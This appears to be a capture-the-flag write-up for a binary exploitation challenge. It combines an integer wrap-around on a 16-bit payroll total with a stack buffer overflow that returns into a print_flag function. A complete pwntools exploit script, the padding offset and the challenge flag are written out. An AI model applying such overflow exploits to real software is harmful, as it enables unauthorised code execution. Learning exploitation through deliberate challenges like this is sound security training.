Flash CTF - Carry the One

Overview

Flag: MetaCTF{uint16_wr4p_0p3ns_th3_v4ult}

The binary is a payroll manager called BudgetWarden. It has a menu: add an employee, generate a report, or quit. The report option is gated: "Monthly payroll exceeds budget cap" if the total is too high.

First thing, as always, run checksec:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

No canary, no PIE. Classic ret2win setup if we can get there!

The binary opens with "Loaded existing records. Monthly total: $65072". This is already above the $1000 budget cap, so the report option is locked from the start.

The menu loop adds salaries to a running total. If total is under 1000, the report function unlocks. Looking at the binary in Ghidra, the total variable is a uint16_t. That's a 16-bit unsigned integer, which has a max value of 65535.

Add employees until the total wraps past 65535 and falls below 1000. For example, we can do three employees at 22000 each: 65072 + 3 * 22000 = 65072 + 66000 = 131072. A uint16 overflows modulo 65536, so 131072 mod 65536 = 0. The total is now 0, which is obviously well under the budget limit of 1000! The report option is unlocked.

Inside generate_report(), after printing the prompt, the binary calls:

read(0, title, 512);

title is a 64-byte stack buffer, but this call can write 512 bytes into it. No canary to worry about, and there's a print_flag() function at a fixed address (no PIE) that opens and prints the flag file.

Stack layout of generate_report:

  • 64 bytes for the title buffer (at rsp after the sub)
  • 8 bytes for saved rbx (push rbx at function entry)
  • 8 bytes for the return address

There are 72 bytes of padding between us and the return address, which we'll overwrite with the address of print_flag().

$ objdump -d -M intel payroll | grep -B 1 '/srv/app/flag.txt' | head
  ...
  4011b3: 48 8d 35 4a 0e 00 00 lea rsi,[rip+0xe4a] # 402004
  4011ba: 48 8d 3d 45 0e 00 00 lea rdi,[rip+0xe45] # 402006

The function start is just above that LEA: 4011a6 <print_flag> in the unstripped binary, or back up to the previous endbr64/push prologue in the stripped one.

PADDING = b'A' * 72
payload = PADDING + p64(0x4011a6)

Solve

python3 exploit.py <host> <port>

Or locally:

python3 -c "
from pwn import *
p = process('./chal/payroll')
# Binary starts at total=65072 (pre-loaded records). Three employees at 22000:
# 65072 + 66000 = 131072 = 2*65536, wraps to 0 < 1000 -> report unlocked.
for _ in range(3):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'salary: ', b'22000')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'title: ', b'A'*72 + p64(0x4011a6))
p.interactive()
"

exploit.py

#!/usr/bin/env python3
from pwn import *

# Binary: no PIE, no canary, no stack protector
# print_flag is at a fixed address -- find it with:
# objdump -d payroll | grep -B1 'flag.txt'
# or use the unstripped binary: nm payroll.unstripped | grep print_flag

PRINT_FLAG = 0x4011a6

# generate_report() stack layout:
# push rbx (+8 bytes for saved rbx)
# sub $0x40, %rsp (64-byte title buffer at rsp+0)
# ...
# read(0, rsp, 0x200) -- 512 bytes into 64-byte buffer
#
# Offset to saved rbx: 64 bytes
# Offset to return addr: 72 bytes

PADDING = b'A' * 72

def exploit(host, port):
    p = remote(host, port) if host else process('./chal/payroll')

    # Step 1: overflow the uint16 total
    # Binary starts with total=65072 (pre-loaded records).
    # 65072 + 3*22000 = 131072 = 2*65536, wraps to 0 < 1000 (budget limit).
    for _ in range(3):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'salary: ', b'22000')

    # Step 2: trigger the vulnerable generate_report() path
    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'title: ')
    p.send(PADDING + p64(PRINT_FLAG))

    # print_flag writes the flag to the unbuffered socket, then returns
    # into garbage and the process segfaults — recv whatever is buffered.
    try:
        data = p.recvall(timeout=3)
    except EOFError:
        data = b''
    print(data.decode(errors='replace'))


if __name__ == '__main__':
    import sys
    if len(sys.argv) == 3:
        exploit(sys.argv[1], int(sys.argv[2]))
    else:
        exploit(None, None)

Interested in joining our team? Let’s connect!